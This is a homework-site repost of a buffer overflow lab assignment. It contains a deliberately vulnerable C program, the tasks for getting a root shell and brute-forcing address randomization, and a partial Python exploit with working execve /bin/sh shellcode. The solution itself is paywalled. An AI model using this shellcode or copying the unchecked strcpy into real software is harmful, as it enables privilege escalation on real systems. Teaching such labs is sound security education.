Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

/ * This program has a buffer overflow vulnerability. * / #include #include #include int foo ( char * str ) { char buffer [

/* This program has a buffer overflow vulnerability. */
#include
#include
#include
int foo(char *str)
{
char buffer[500];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[800];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),700, badfile);
foo(str);
printf("Returned Properly
");
return 1;
} Task 1 :We provide you with a completed exploit code called exploit.py. You need
to adjust the variables of the program accordingly and fill in any missing code to
fulfill the buffer overflow attack.
Notes on python, you don't need to compile a .py file to run it. Python is an
interpreted language, and you can run the scripts directly, either using:
python exploit.py
Or make your script executable by adding "#!/usr/bin/python3" to the top of the
script, making the file executable with "chmod u+x exploit.py" and then running:
./exploit.py
The book utilizes the second version ./exploit.py
After you finish adjusting the above program, run it. This will generate the contents
for badfile. Then compile and run the vulnerable program "stack.c". If your exploit
is implemented correctly, you should be able to get a shell:
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed)
Task2: Find a way to obtain root shell (read book/slides).
you should get the following output:
VM# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed)
Task3: On 32-bit Linux machines, stacks only have 19 bits of entropy, which means
the stack base address can have 2^19=524,288 possibilities. This number is not
that high and can be exhausted easily with the brute-force approach. In this task, we
use such an approach to defeat the address randomization countermeasure on our 32-
bit VM. First, we turn on the Ubuntus address randomization using the following
command:
sudo /sbin/sysctl -w kernel.randomize_va_space=2
Then use the shell script in the book to figure out how to attack the vulnerable
program repeatedly.
To summarize, the lab goal is:
Task 1- edit the given source code exploit.py so that the buffer overflow attack is
successful.
Task 2- ensure the shell is running as root.
Task 3- Defeat the Address Randomization applied by the operating system.
In your paper show and explain the following:
-The adjusted code segments, and describe what changes you made and why.
-How you obtained the needed addresses, show screenshots.
-The screenshots of the successful buffer overflow attack.
-How you made the shell run as root.
-How you defeated Address Randomization, screenshot the exploit.py code : #!/usr/bin/python3
import sys
shellcode=(
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
# Fill the content with NOPs
content = bytearray()
# Put the shellcode at the end
start =
content[]= shellcode
ret =
content[]=(ret).to_bytes(4,byteorder='little')
# Write the content to a file
with open('badfile','wb') as f:
f.write(content)

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image

Step: 3

blur-text-image

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Practical Neo4j

Authors: Gregory Jordan

1st Edition

1484200225, 9781484200223

More Books

Students also viewed these Databases questions

Question

Define epistemology.

Answered: 1 week ago